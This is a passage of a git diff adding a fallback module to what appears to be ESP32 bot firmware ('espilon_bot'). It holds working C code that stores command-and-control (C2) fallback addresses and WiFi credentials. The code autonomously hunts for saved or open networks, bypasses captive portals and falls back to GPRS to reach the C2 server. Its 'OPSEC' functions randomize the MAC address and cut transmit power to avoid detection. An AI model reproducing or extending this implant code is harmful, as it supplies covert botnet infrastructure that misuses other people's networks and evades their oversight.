(nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK) + return 0; + + int32_t count = 0; + nvs_get_i32(h, "c2_count", &count); + nvs_close(h); + return (int)count; +} + +int fb_config_c2_list(fb_c2_addr_t *out, int max_count) +{ + nvs_handle_t h; + if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK) + return 0; + + int32_t count = 0; + nvs_get_i32(h, "c2_count", &count); + if (count > max_count) count = max_count; + if (count > CONFIG_FB_MAX_C2_FALLBACKS) count = CONFIG_FB_MAX_C2_FALLBACKS; + + for (int i = 0; i < count; i++) { + memset(&out[i], 0, sizeof(fb_c2_addr_t)); + char key[16]; + snprintf(key, sizeof(key), "c2_%d", i); + size_t len = FB_ADDR_MAX_LEN; + nvs_get_str(h, key, out[i].addr, &len); + } + + nvs_close(h); + return (int)count; +} + +bool fb_config_c2_add(const char *addr) +{ + if (!addr || !addr[0]) return false; + + nvs_handle_t h; + if (nvs_open(NVS_NS, NVS_READWRITE, &h) != ESP_OK) + return false; + + int32_t count = 0; + nvs_get_i32(h, "c2_count", &count); + + for (int i = 0; i < count; i++) { + char key[16]; + snprintf(key, sizeof(key), "c2_%d", i); + char existing[FB_ADDR_MAX_LEN] = {0}; + size_t len = FB_ADDR_MAX_LEN; + if (nvs_get_str(h, key, existing, &len) == ESP_OK) { + if (strcmp(existing, addr) == 0) { + nvs_close(h); + return true; + } + } + } + + if (count >= CONFIG_FB_MAX_C2_FALLBACKS) { + nvs_close(h); + ESP_LOGW(TAG, "C2 fallbacks full (%d)", (int)count); + return false; + } + + char key[16]; + snprintf(key, sizeof(key), "c2_%d", (int)count); + nvs_set_str(h, key, addr); + + count++; + nvs_set_i32(h, "c2_count", count); + nvs_commit(h); + nvs_close(h); + + ESP_LOGI(TAG, "Added C2 fallback '%s' (total: %d)", addr, (int)count); + return true; +} + +bool fb_config_c2_remove(const char *addr) +{ + if (!addr || !addr[0]) return false; + + nvs_handle_t h; + if (nvs_open(NVS_NS, NVS_READWRITE, &h) != ESP_OK) + return false; + + int32_t count = 0; + nvs_get_i32(h, "c2_count", &count); + + int found = -1; + for (int i = 0; i < count; i++) { + char key[16]; + snprintf(key, sizeof(key), "c2_%d", i); + char existing[FB_ADDR_MAX_LEN] = {0}; + size_t len = FB_ADDR_MAX_LEN; + if (nvs_get_str(h, key, existing, &len) == ESP_OK) { + if (strcmp(existing, addr) == 0) { + found = i; + break; + } + } + } + + if (found < 0) { + nvs_close(h); + return false; + } + + for (int i = found; i < count - 1; i++) { + char src_key[16], dst_key[16], buf[FB_ADDR_MAX_LEN]; + size_t len = FB_ADDR_MAX_LEN; + snprintf(src_key, sizeof(src_key), "c2_%d", i + 1); + snprintf(dst_key, sizeof(dst_key), "c2_%d", i); + memset(buf, 0, sizeof(buf)); + nvs_get_str(h, src_key, buf, &len); + nvs_set_str(h, dst_key, buf); + } + + char key[16]; + snprintf(key, sizeof(key), "c2_%d", (int)(count - 1)); + nvs_erase_key(h, key); + + count--; + nvs_set_i32(h, "c2_count", count); + nvs_commit(h); + nvs_close(h); + + ESP_LOGI(TAG, "Removed C2 fallback '%s' (total: %d)", addr, (int)count); + return true; +} + +/* ============================================================ + * Original MAC storage + * ============================================================ */ + +void fb_config_save_orig_mac(void) +{ + uint8_t mac[6]; + if (esp_wifi_get_mac(WIFI_IF_STA, mac) != ESP_OK) { + ESP_LOGW(TAG, "Failed to read STA MAC"); + return; + } + + nvs_handle_t h; + if (nvs_open(NVS_NS, NVS_READWRITE, &h) != ESP_OK) + return; + + nvs_set_blob(h, "orig_mac", mac, 6); + nvs_commit(h); + nvs_close(h); + + ESP_LOGI(TAG, "Saved original MAC: %02X:%02X:%02X:%02X:%02X:%02X", + mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]); +} + +bool fb_config_get_orig_mac(uint8_t mac[6]) +{ + nvs_handle_t h; + if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK) + return false; + + size_t len = 6; + esp_err_t err = nvs_get_blob(h, "orig_mac", mac, &len); + nvs_close(h); + return (err == ESP_OK && len == 6); +} + +#endif /* CONFIG_MODULE_FALLBACK */ diff --git a/espilon_bot/components/mod_fallback/fb_config.h b/espilon_bot/components/mod_fallback/fb_config.h new file mode 100644 index 0000000..b78ab58 --- /dev/null +++ b/espilon_bot/components/mod_fallback/fb_config.h @@ -0,0 +1,66 @@ +/* + * fb_config.h + * NVS-backed known networks + C2 fallback addresses. + */ +#pragma once + +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +#ifndef CONFIG_FB_MAX_KNOWN_NETWORKS +#define CONFIG_FB_MAX_KNOWN_NETWORKS 16 +#endif + +#ifndef CONFIG_FB_MAX_C2_FALLBACKS +#define CONFIG_FB_MAX_C2_FALLBACKS 4 +#endif + +#define FB_SSID_MAX_LEN 33 /* 32 + NUL */ +#define FB_PASS_MAX_LEN 65 /* 64 + NUL */ +#define FB_ADDR_MAX_LEN 64 /* "ip:port" or "host:port" */ + +/* ============================================================ + * Known WiFi networks + * ============================================================ */ + +typedef struct { + char ssid[FB_SSID_MAX_LEN]; + char pass[FB_PASS_MAX_LEN]; +} fb_network_t; + +/* Init NVS namespace + migrate from old rt_cfg if needed. */ +void fb_config_init(void); + +bool fb_config_net_add(const char *ssid, const char *pass); +bool fb_config_net_remove(const char *ssid); +int fb_config_net_list(fb_network_t *out, int max_count); +int fb_config_net_count(void); + +/* ============================================================ + * C2 fallback addresses + * ============================================================ */ + +typedef struct { + char addr[FB_ADDR_MAX_LEN]; /* "ip:port" */ +} fb_c2_addr_t; + +bool fb_config_c2_add(const char *addr); +bool fb_config_c2_remove(const char *addr); +int fb_config_c2_list(fb_c2_addr_t *out, int max_count); +int fb_config_c2_count(void); + +/* ============================================================ + * Original MAC storage (for restoration) + * ============================================================ */ + +void fb_config_save_orig_mac(void); +bool fb_config_get_orig_mac(uint8_t mac[6]); + +#ifdef __cplusplus +} +#endif diff --git a/espilon_bot/components/mod_fallback/fb_hunt.c b/espilon_bot/components/mod_fallback/fb_hunt.c new file mode 100644 index 0000000..de5e5be --- /dev/null +++ b/espilon_bot/components/mod_fallback/fb_hunt.c @@ -0,0 +1,703 @@ +/* + * fb_hunt.c + * Fallback hunt state machine — autonomous network recovery. + * FreeRTOS task (8KB stack, Core 1). + * + * Pipeline: known networks → open WiFi + captive bypass → loop + * No C2 commands needed — auto-triggered on TCP failure. + */ +#include "sdkconfig.h" +#include "fb_hunt.h" + +#ifdef CONFIG_MODULE_FALLBACK + +#include +#include +#include + +#include "esp_log.h" +#include "esp_wifi.h" +#include "esp_event.h" +#include "esp_netif.h" +#include "freertos/FreeRTOS.h" +#include "freertos/task.h" +#include "freertos/event_groups.h" +#include "lwip/sockets.h" +#include "lwip/netdb.h" + +#include "utils.h" +#include "fb_config.h" +#include "fb_stealth.h" +#include "fb_captive.h" + +static const char *TAG = "FB_HUNT"; + +#define FB_HUNT_STACK 8192 +#define FB_HUNT_PRIO 6 +#define FB_WIFI_TIMEOUT_MS 8000 +#define FB_TCP_TIMEOUT_S 5 +#define FB_RESCAN_DELAY_S 60 + +/* Event bits for WiFi events */ +#define FB_EVT_GOT_IP BIT0 +#define FB_EVT_DISCONNECT BIT1 + +/* ============================================================ + * State + * ============================================================ */ + +static volatile fb_state_t s_state = FB_IDLE; +static char s_connected_ssid[33] = {0}; +static char s_connected_method[16] = {0}; +static atomic_bool s_active = false; +static TaskHandle_t s_task_handle = NULL; +static EventGroupHandle_t s_evt_group = NULL; + +/* Mutex protecting s_state, s_connected_ssid, s_connected_method */ +static SemaphoreHandle_t s_state_mutex = NULL; + +/* Skip GPRS strategy (set by gprs_client_task to avoid GPRS→hunt→GPRS loop) */ +static bool s_skip_gprs = false; + +static inline void state_lock(void) { + if (s_state_mutex) xSemaphoreTake(s_state_mutex, portMAX_DELAY); +} +static inline void state_unlock(void) { + if (s_state_mutex) xSemaphoreGive(s_state_mutex); +} + +/* Saved original WiFi config for restore */ +static wifi_config_t s_orig_wifi_config; +static bool s_orig_config_saved = false; + +/* State name lookup */ +static const char *state_names[] = { + [FB_IDLE] = "idle", + [FB_STEALTH_PREP] = "stealth_prep", + [FB_PASSIVE_SCAN] = "passive_scan", + [FB_TRYING_KNOWN] = "trying_known", + [FB_TRYING_OPEN] = "trying_open", + [FB_PORTAL_CHECK] = "portal_check", + [FB_PORTAL_BYPASS] = "portal_bypass", + [FB_C2_VERIFY] = "c2_verify", + [FB_HANDSHAKE_CRACK] = "handshake_crack", + [FB_GPRS_DIRECT] = "gprs_direct", + [FB_CONNECTED] = "connected", +}; + +/* ============================================================ + * WiFi event handler for hunt (registered dynamically) + * ============================================================ */ + +static void fb_wifi_event_handler(void *arg, esp_event_base_t base, + int32_t id, void *data) +{ + if (!s_evt_group) return; + + if (base == IP_EVENT && id == IP_EVENT_STA_GOT_IP) { + xEventGroupSetBits(s_evt_group, FB_EVT_GOT_IP); + } + if (base == WIFI_EVENT && id == WIFI_EVENT_STA_DISCONNECTED) { + xEventGroupSetBits(s_evt_group, FB_EVT_DISCONNECT); + } +} + +/* ============================================================ + * Helpers + * ============================================================ */ + +static void set_state(fb_state_t new_state) +{ + state_lock(); + s_state = new_state; + state_unlock(); + ESP_LOGI(TAG, "→ %s", state_names[new_state]); +} + +/* Try to connect to a WiFi network. Returns true if got IP. */ +static bool wifi_try_connect(const char *ssid, const char *pass, int timeout_ms) +{ + wifi_config_t cfg = {0}; + strncpy((char *)cfg.sta.ssid, ssid, sizeof(cfg.sta.ssid) - 1); + if (pass && pass[0]) { + strncpy((char *)cfg.sta.password, pass, sizeof(cfg.sta.password) - 1); + } + + esp_wifi_disconnect(); + vTaskDelay(pdMS_TO_TICKS(200)); + + esp_err_t err = esp_wifi_set_config(WIFI_IF_STA, &cfg); + if (err != ESP_OK) { + ESP_LOGE(TAG, "WiFi set_config failed: %s", esp_err_to_name(err)); + return false; + } + + xEventGroupClearBits(s_evt_group, FB_EVT_GOT_IP | FB_EVT_DISCONNECT); + esp_wifi_connect(); + + EventBits_t bits = xEventGroupWaitBits( + s_evt_group, + FB_EVT_GOT_IP | FB_EVT_DISCONNECT, + pdTRUE, /* clear on exit */ + pdFALSE, /* any bit */ + pdMS_TO_TICKS(timeout_ms) + ); + + if (bits & FB_EVT_GOT_IP) { + ESP_LOGI(TAG, "Got IP on '%s'", ssid); + return true; + } + + ESP_LOGW(TAG, "WiFi connect to '%s' failed/timed out", ssid); + return false; +} + +/* Try TCP connect to C2. Returns true if reachable. */ +static bool tcp_try_c2(const char *ip, int port) +{ + struct sockaddr_in addr = {0}; + addr.sin_family = AF_INET; + addr.sin_port = htons(port); + addr.sin_addr.s_addr = inet_addr(ip); + + int s = lwip_socket(AF_INET, SOCK_STREAM, 0); + if (s < 0) return false; + + struct timeval tv = { .tv_sec = FB_TCP_TIMEOUT_S, .tv_usec = 0 }; + lwip_setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv)); + + int ret = lwip_connect(s, (struct sockaddr *)&addr, sizeof(addr)); + lwip_close(s); + + if (ret == 0) { + ESP_LOGI(TAG, "C2 reachable at %s:%d", ip, port); + return true; + } + + return false; +} + +/* Try C2 primary + fallbacks. Returns true if any reachable. */ +static bool verify_c2_reachable(void) +{ + set_state(FB_C2_VERIFY); + + /* Try primary C2 */ + if (tcp_try_c2(CONFIG_SERVER_IP, CONFIG_SERVER_PORT)) { + return true; + } + + /* Try NVS fallback addresses */ + fb_c2_addr_t addrs[CONFIG_FB_MAX_C2_FALLBACKS]; + int count = fb_config_c2_list(addrs, CONFIG_FB_MAX_C2_FALLBACKS); + + for (int i = 0; i < count; i++) { + char ip_buf[48]; + int port = CONFIG_SERVER_PORT; + strncpy(ip_buf, addrs[i].addr, sizeof(ip_buf) - 1); + ip_buf[sizeof(ip_buf) - 1] = '\0'; + + char *colon = strrchr(ip_buf, ':'); + if (colon) { + *colon = '\0'; + port = atoi(colon + 1); + if (port <= 0 || port > 65535) port = CONFIG_SERVER_PORT; + } + + if (tcp_try_c2(ip_buf, port)) { + return true; + } + } + + ESP_LOGW(TAG, "C2 unreachable (primary + %d fallbacks)", count); + return false; +} + +/* Mark successful connection */ +static void mark_connected(const char *ssid, const char *method) +{ + state_lock(); + strncpy(s_connected_ssid, ssid, sizeof(s_connected_ssid) - 1); + s_connected_ssid[sizeof(s_connected_ssid) - 1] = '\0'; + strncpy(s_connected_method, method, sizeof(s_connected_method) - 1); + s_connected_method[sizeof(s_connected_method) - 1] = '\0'; + state_unlock(); + set_state(FB_CONNECTED); + + ESP_LOGI(TAG, "Connected via %s: '%s'", method, ssid); +} + +/* ============================================================ + * WiFi scan + * ============================================================ */ + +typedef struct { + char ssid[33]; + uint8_t bssid[6]; + int8_t rssi; + uint8_t channel; + wifi_auth_mode_t authmode; +} fb_candidate_t; + +#define FB_MAX_CANDIDATES 32 + +static fb_candidate_t s_candidates[FB_MAX_CANDIDATES]; +static int s_candidate_count = 0; + +static void do_wifi_scan(void) +{ + s_candidate_count = 0; + + esp_wifi_disconnect(); + vTaskDelay(pdMS_TO_TICKS(200)); + + wifi_scan_config_t scan_cfg = { + .ssid = NULL, + .bssid = NULL, + .channel = 0, + .show_hidden = true, + .scan_type = WIFI_SCAN_TYPE_ACTIVE, + .scan_time = { + .active = { .min = 120, .max = 300 }, + }, + }; + + esp_err_t err = esp_wifi_scan_start(&scan_cfg, true); + if (err != ESP_OK) { + ESP_LOGE(TAG, "WiFi scan failed: %s", esp_err_to_name(err)); + return; + } + + uint16_t ap_count = 0; + esp_wifi_scan_get_ap_num(&ap_count); + if (ap_count == 0) { + ESP_LOGW(TAG, "Scan: 0 APs found"); + return; + } + + if (ap_count > FB_MAX_CANDIDATES) ap_count = FB_MAX_CANDIDATES; + + wifi_ap_record_t *records = malloc(ap_count * sizeof(wifi_ap_record_t)); + if (!records) { + esp_wifi_clear_ap_list(); + return; + } + + esp_wifi_scan_get_ap_records(&ap_count, records); + + for (int i = 0; i < ap_count; i++) { + fb_candidate_t *c = &s_candidates[s_candidate_count]; + strncpy(c->ssid, (char *)records[i].ssid, sizeof(c->ssid) - 1); + c->ssid[sizeof(c->ssid) - 1] = '\0'; + memcpy(c->bssid, records[i].bssid, 6); + c->rssi = records[i].rssi; + c->channel = records[i].primary; + c->authmode = records[i].authmode; + s_candidate_count++; + } + + free(records); + ESP_LOGI(TAG, "Scan: %d APs found", s_candidate_count); +} + +/* ============================================================ + * Strategy 1: Try known networks (original WiFi + NVS) + * ============================================================ */ + +static bool try_known_networks(void) +{ + set_state(FB_TRYING_KNOWN); + + /* Try original WiFi config first (the one we were connected to) */ + if (s_orig_config_saved && s_orig_wifi_config.sta.ssid[0]) { + ESP_LOGI(TAG, "Trying original WiFi: '%s'", + (char *)s_orig_wifi_config.sta.ssid); + +#ifdef CONFIG_FB_STEALTH + fb_stealth_randomize_mac(); +#endif + + if (wifi_try_connect((char *)s_orig_wifi_config.sta.ssid, + (char *)s_orig_wifi_config.sta.password, + FB_WIFI_TIMEOUT_MS)) { + if (verify_c2_reachable()) { + mark_connected((char *)s_orig_wifi_config.sta.ssid, "original"); + return true; + } + ESP_LOGW(TAG, "Original WiFi connected but C2 unreachable"); + } + } + + /* Then try NVS known networks */ + fb_network_t nets[CONFIG_FB_MAX_KNOWN_NETWORKS]; + int net_count = fb_config_net_list(nets, CONFIG_FB_MAX_KNOWN_NETWORKS); + + if (net_count == 0) { + ESP_LOGI(TAG, "No additional known networks in NVS"); + return false; + } + + for (int n = 0; n < net_count; n++) { + ESP_LOGI(TAG, "Trying known: '%s'", nets[n].ssid); + +#ifdef CONFIG_FB_STEALTH + fb_stealth_randomize_mac(); +#endif + + if (wifi_try_connect(nets[n].ssid, nets[n].pass, FB_WIFI_TIMEOUT_MS)) { + if (verify_c2_reachable()) { + mark_connected(nets[n].ssid, "known"); + return true; + } + ESP_LOGW(TAG, "'%s' connected but C2 unreachable", nets[n].ssid); + } + } + + return false; +} + +/* ============================================================ + * Strategy 2: Try open WiFi networks + captive portal bypass + * ============================================================ */ + +static bool try_open_networks(void) +{ + set_state(FB_TRYING_OPEN); + + for (int i = 0; i < s_candidate_count; i++) { + if (s_candidates[i].authmode != WIFI_AUTH_OPEN) + continue; + if (s_candidates[i].ssid[0] == '\0') + continue; /* hidden */ + + ESP_LOGI(TAG, "Trying open: '%s' (RSSI=%d)", + s_candidates[i].ssid, s_candidates[i].rssi); + +#ifdef CONFIG_FB_STEALTH + fb_stealth_randomize_mac(); +#endif + + if (wifi_try_connect(s_candidates[i].ssid, "", FB_WIFI_TIMEOUT_MS)) { + /* Check for captive portal */ + set_state(FB_PORTAL_CHECK); + fb_portal_status_t portal = fb_captive_detect(); + + if (portal == FB_PORTAL_NONE) { + if (verify_c2_reachable()) { + mark_connected(s_candidates[i].ssid, "open"); + return true; + } + } else if (portal == FB_PORTAL_DETECTED) { + set_state(FB_PORTAL_BYPASS); + if (fb_captive_bypass()) { + if (verify_c2_reachable()) { + mark_connected(s_candidates[i].ssid, "open+portal"); + return true; + } + } + ESP_LOGW(TAG, "Portal bypass failed for '%s'", + s_candidates[i].ssid); + } else { + /* FB_PORTAL_UNKNOWN — try C2 directly anyway */ + if (verify_c2_reachable()) { + mark_connected(s_candidates[i].ssid, "open"); + return true; + } + } + } + } + + return false; +} + +/* ============================================================ + * Hunt task — main state machine + * ============================================================ */ + +extern atomic_bool fb_active; /* defined in WiFi.c */ + +#ifdef CONFIG_NETWORK_WIFI +extern void wifi_pause_reconnect(void); +extern void wifi_resume_reconnect(void); +#endif + +/* ============================================================ + * WiFi lazy init (for GPRS primary mode) + * ============================================================ */ +#ifdef CONFIG_FB_WIFI_FALLBACK +static bool s_wifi_inited = false; + +static void ensure_wifi_init(void) +{ + if (!s_wifi_inited) { + ESP_LOGI(TAG, "Lazy WiFi init for GPRS fallback"); + extern void wifi_init(void); + wifi_init(); + s_wifi_inited = true; + vTaskDelay(pdMS_TO_TICKS(2000)); + } +} +#endif + +/* ============================================================ + * Strategy 3: GPRS direct (WiFi primary mode only) + * ============================================================ */ +#ifdef CONFIG_FB_GPRS_FALLBACK + +static bool try_gprs_direct(void) +{ + if (s_skip_gprs) { + ESP_LOGI(TAG, "GPRS strategy skipped (came from GPRS)"); + return false; + } + + set_state(FB_GPRS_DIRECT); + ESP_LOGI(TAG, "Trying GPRS direct connection"); + + setup_uart(); + setup_modem(); + + if (!connect_gprs() || !connect_tcp()) { + close_tcp_connection(); + ESP_LOGW(TAG, "GPRS direct failed"); + return false; + } + + mark_connected("GPRS", "gprs"); + + /* Mini RX loop via GPRS — stays here until hunt is stopped */ + while (s_active) { + gprs_rx_poll(); + vTaskDelay(pdMS_TO_TICKS(10)); + } + + close_tcp_connection(); + return false; /* Hunt was stopped externally */ +} + +#endif /* CONFIG_FB_GPRS_FALLBACK */ + +static void hunt_task(void *arg) +{ + (void)arg; + ESP_LOGI(TAG, "Fallback hunt task started"); + +#ifdef CONFIG_FB_WIFI_FALLBACK + /* In GPRS mode, WiFi may not be initialized yet */ + ensure_wifi_init(); +#endif + + /* Save MAC before we randomize it */ + fb_stealth_save_original_mac(); + fb_config_save_orig_mac(); + + /* Save original WiFi config */ + if (!s_orig_config_saved) { + esp_wifi_get_config(WIFI_IF_STA, &s_orig_wifi_config); + s_orig_config_saved = true; + } + + /* Take control of WiFi from normal reconnect logic */ + fb_active = true; +#ifdef CONFIG_NETWORK_WIFI + wifi_pause_reconnect(); +#endif + + /* Register our event handler */ + esp_event_handler_register(IP_EVENT, IP_EVENT_STA_GOT_IP, + &fb_wifi_event_handler, NULL); + esp_event_handler_register(WIFI_EVENT, WIFI_EVENT_STA_DISCONNECTED, + &fb_wifi_event_handler, NULL); + + while (s_active) { + + /* ---- STEALTH PREP ---- */ +#ifdef CONFIG_FB_STEALTH + set_state(FB_STEALTH_PREP); + fb_stealth_randomize_mac(); + fb_stealth_low_tx_power(); + vTaskDelay(pdMS_TO_TICKS(100)); +#endif + + /* ---- SCAN ---- */ + set_state(FB_PASSIVE_SCAN); + do_wifi_scan(); + + /* ---- STRATEGY 1: Known networks ---- */ + if (s_active && try_known_networks()) break; + + /* ---- STRATEGY 2: Open networks + captive portal ---- */ + if (s_active && try_open_networks()) break; + +#ifdef CONFIG_FB_GPRS_FALLBACK + /* ---- STRATEGY 3: GPRS direct (last resort) ---- */ + if (s_active && try_gprs_direct()) break; +#endif + + /* ---- All strategies failed — wait and rescan ---- */ + if (!s_active) break; + + ESP_LOGW(TAG, "All strategies exhausted — wait %ds and rescan", + FB_RESCAN_DELAY_S); + set_state(FB_IDLE); + + for (int i = 0; i < FB_RESCAN_DELAY_S && s_active; i++) { + vTaskDelay(pdMS_TO_TICKS(1000)); + } + } + + /* ---- Cleanup ---- */ + + esp_event_handler_unregister(IP_EVENT, IP_EVENT_STA_GOT_IP, + &fb_wifi_event_handler); + esp_event_handler_unregister(WIFI_EVENT, WIFI_EVENT_STA_DISCONNECTED, + &fb_wifi_event_handler); + + if (s_state == FB_CONNECTED) { +#ifdef CONFIG_FB_STEALTH + fb_stealth_restore_tx_power(); +#endif + fb_active = false; +#ifdef CONFIG_NETWORK_WIFI + wifi_resume_reconnect(); +#endif + ESP_LOGI(TAG, "Hunt complete — handing off to client task"); + } else { + /* Restore original WiFi config */ +#ifdef CONFIG_FB_STEALTH + fb_stealth_restore_mac(); + fb_stealth_restore_tx_power(); +#endif + if (s_orig_config_saved) { + esp_wifi_set_config(WIFI_IF_STA, &s_orig_wifi_config); + } + fb_active = false; +#ifdef CONFIG_NETWORK_WIFI + wifi_resume_reconnect(); +#endif + esp_wifi_connect(); + ESP_LOGI(TAG, "Hunt stopped — restoring original WiFi"); + } + + s_task_handle = NULL; + vTaskDelete(NULL); +} + +/* ============================================================ + * Public API + * ============================================================ */ + +const char *fb_hunt_state_name(fb_state_t state) +{ + if (state <= FB_CONNECTED) + return state_names[state]; + return "unknown"; +} + +fb_state_t fb_hunt_get_state(void) +{ + state_lock(); + fb_state_t st = s_state; + state_unlock(); + return st; +} + +bool fb_hunt_is_active(void) +{ + return s_active; +} + +const char *fb_hunt_connected_ssid(void) +{ + static char ssid_copy[33]; + state_lock(); + memcpy(ssid_copy, s_connected_ssid, sizeof(ssid_copy)); + state_unlock(); + return ssid_copy; +} + +const char *fb_hunt_connected_method(void) +{ + static char method_copy[16]; + state_lock(); + memcpy(method_copy, s_connected_method, sizeof(method_copy)); + state_unlock(); + return method_copy; +} + +void fb_hunt_init(void) +{ + if (!s_state_mutex) { + s_state_mutex = xSemaphoreCreateMutex(); + } + if (!s_evt_group) { + s_evt_group = xEventGroupCreate(); + } + ESP_LOGI(TAG, "Hunt init done"); +} + +void fb_hunt_set_skip_gprs(bool skip) +{ + s_skip_gprs = skip; +} + +void fb_hunt_trigger(void) +{ + if (s_active) { + ESP_LOGW(TAG, "Hunt already active"); + return; + } + + /* Ensure init (safety net if called before register_commands) */ + fb_hunt_init(); + + s_skip_gprs = false; /* Reset per-hunt */ + s_active = true; + + state_lock(); + s_state = FB_IDLE; + s_connected_ssid[0] = '\0'; + s_connected_method[0] = '\0'; + state_unlock(); + + BaseType_t ret = xTaskCreatePinnedToCore( + hunt_task, + "fb_hunt", + FB_HUNT_STACK, + NULL, + FB_HUNT_PRIO, + &s_task_handle, + 1 /* Core 1 */ + ); + + if (ret != pdPASS) { + ESP_LOGE(TAG, "Failed to create hunt task"); + s_active = false; + } +} + +void fb_hunt_stop(void) +{ + if (!s_active) return; + + s_active = false; + + for (int i = 0; i < 50 && s_task_handle != NULL; i++) { + vTaskDelay(pdMS_TO_TICKS(100)); + } + + /* Only reset state if task actually exited */ + if (s_task_handle == NULL) { + state_lock(); + s_state = FB_IDLE; + s_connected_ssid[0] = '\0'; + s_connected_method[0] = '\0'; + state_unlock(); + } else { + ESP_LOGW(TAG, "Hunt task did not exit in time"); + } + + ESP_LOGI(TAG, "Hunt stopped"); +} + +#endif /* CONFIG_MODULE_FALLBACK */ diff --git a/espilon_bot/components/mod_fallback/fb_hunt.h b/espilon_bot/components/mod_fallback/fb_hunt.h new file mode 100644 index 0000000..07a510a --- /dev/null +++ b/espilon_bot/components/mod_fallback/fb_hunt.h @@ -0,0 +1,65 @@ +/* + * fb_hunt.h + * Fallback hunt state machine — autonomous network recovery. + */ +#pragma once + +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* ============================================================ + * Hunt states + * ============================================================ */ + +typedef enum { + FB_IDLE, + FB_STEALTH_PREP, + FB_PASSIVE_SCAN, + FB_TRYING_KNOWN, + FB_TRYING_OPEN, + FB_PORTAL_CHECK, + FB_PORTAL_BYPASS, + FB_C2_VERIFY, + FB_HANDSHAKE_CRACK, + FB_GPRS_DIRECT, + FB_CONNECTED, +} fb_state_t; + +/* ============================================================ + * API + * ============================================================ */ + +/* Trigger the hunt (start the state machine task if not running). + * Called automatically by WiFi.c on TCP failure. */ +void fb_hunt_trigger(void); + +/* Stop the hunt, restore original WiFi + MAC + TX power. */ +void fb_hunt_stop(void); + +/* Get current state. */ +fb_state_t fb_hunt_get_state(void); + +/* Get state name as string. */ +const char *fb_hunt_state_name(fb_state_t state); + +/* Is the hunt task currently running? */ +bool fb_hunt_is_active(void); + +/* Get the SSID we connected to (empty if none). */ +const char *fb_hunt_connected_ssid(void); + +/* Get the method used to connect (e.g. "known", "open", "handshake", "gprs"). */ +const char *fb_hunt_connected_method(void); + +/* Init mutex and event group (call from register_commands). */ +void fb_hunt_init(void); + +/* Skip GPRS strategy in hunt (set by gprs_client_task to avoid loop). */ +void fb_hunt_set_skip_gprs(bool skip); + +#ifdef __cplusplus +} +#endif diff --git a/espilon_bot/components/mod_fallback/fb_stealth.c b/espilon_bot/components/mod_fallback/fb_stealth.c new file mode 100644 index 0000000..22413f8 --- /dev/null +++ b/espilon_bot/components/mod_fallback/fb_stealth.c @@ -0,0 +1,253 @@ +/* + * fb_stealth.c + * OPSEC: MAC randomization, TX power control, passive scan. + */ +#include "sdkconfig.h" +#include "fb_stealth.h" + +#ifdef CONFIG_MODULE_FALLBACK + +#include +#include "esp_log.h" +#include "esp_wifi.h" +#include "esp_random.h" +#include "freertos/FreeRTOS.h" +#include "freertos/task.h" + +static const char *TAG = "FB_STEALTH"; + +/* ============================================================ + * MAC randomization + * ============================================================ */ + +static uint8_t s_orig_mac[6] = {0}; +static bool s_mac_saved = false; + +void fb_stealth_save_original_mac(void) +{ + if (esp_wifi_get_mac(WIFI_IF_STA, s_orig_mac) == ESP_OK) { + s_mac_saved = true; + ESP_LOGI(TAG, "Original MAC: %02X:%02X:%02X:%02X:%02X:%02X", + s_orig_mac[0], s_orig_mac[1], s_orig_mac[2], + s_orig_mac[3], s_orig_mac[4], s_orig_mac[5]); + } +} + +void fb_stealth_randomize_mac(void) +{ + uint8_t mac[6]; + esp_fill_random(mac, 6); + mac[0] &= 0xFE; /* unicast */ + mac[0] |= 0x02; /* locally administered */ + + esp_wifi_disconnect(); + vTaskDelay(pdMS_TO_TICKS(50)); + + esp_err_t err = esp_wifi_set_mac(WIFI_IF_STA, mac); + if (err == ESP_OK) { + ESP_LOGI(TAG, "MAC randomized: %02X:%02X:%02X:%02X:%02X:%02X", + mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]); + } else { + ESP_LOGW(TAG, "MAC set failed: %s", esp_err_to_name(err)); + } +} + +void fb_stealth_restore_mac(void) +{ + if (s_mac_saved) { + esp_wifi_disconnect(); + vTaskDelay(pdMS_TO_TICKS(50)); + esp_wifi_set_mac(WIFI_IF_STA, s_orig_mac); + ESP_LOGI(TAG, "MAC restored: %02X:%02X:%02X:%02X:%02X:%02X", + s_orig_mac[0], s_orig_mac[1], s_orig_mac[2], + s_orig_mac[3], s_orig_mac[4], s_orig_mac[5]); + } +} + +void fb_stealth_get_current_mac(uint8_t mac[6]) +{ + esp_wifi_get_mac(WIFI_IF_STA, mac); +} + +/* ============================================================ + * TX power control + * ============================================================ */ + +void fb_stealth_low_tx_power(void) +{ + esp_err_t err = esp_wifi_set_max_tx_power(32); /* 8 dBm */ + if (err == ESP_OK) { + ESP_LOGI(TAG, "TX power reduced to 8 dBm"); + } else { + ESP_LOGW(TAG, "TX power set failed: %s", esp_err_to_name(err)); + } +} + +void fb_stealth_restore_tx_power(void) +{ + esp_wifi_set_max_tx_power(80); /* 20 dBm */ + ESP_LOGI(TAG, "TX power restored to 20 dBm"); +} + +/* ============================================================ + * Passive scan — promiscuous mode beacon capture + * ============================================================ */ + +typedef struct { + unsigned frame_ctrl:16; + unsigned duration_id:16; + uint8_t addr1[6]; + uint8_t addr2[6]; + uint8_t addr3[6]; + unsigned seq_ctrl:16; +} __attribute__((packed)) wifi_mgmt_hdr_t; + +#define BEACON_FIXED_LEN 12 + +static fb_scan_ap_t s_scan_results[FB_MAX_SCAN_APS]; +static volatile int s_scan_count = 0; + +static int find_bssid(const uint8_t bssid[6]) +{ + for (int i = 0; i < s_scan_count; i++) { + if (memcmp(s_scan_results[i].bssid, bssid, 6) == 0) + return i; + } + return -1; +} + +static void passive_scan_cb(void *buf, wifi_promiscuous_pkt_type_t type) +{ + if (type != WIFI_PKT_MGMT) return; + + wifi_promiscuous_pkt_t *pkt = (wifi_promiscuous_pkt_t *)buf; + wifi_mgmt_hdr_t *hdr = (wifi_mgmt_hdr_t *)pkt->payload; + + uint16_t fc = hdr->frame_ctrl; + uint8_t subtype = (fc >> 4) & 0x0F; + if (subtype != 8 && subtype != 5) return; /* beacon or probe_resp */ + + const uint8_t *bssid = hdr->addr3; + + int idx = find_bssid(bssid); + if (idx >= 0) { + if (pkt->rx_ctrl.rssi > s_scan_results[idx].rssi) { + s_scan_results[idx].rssi = 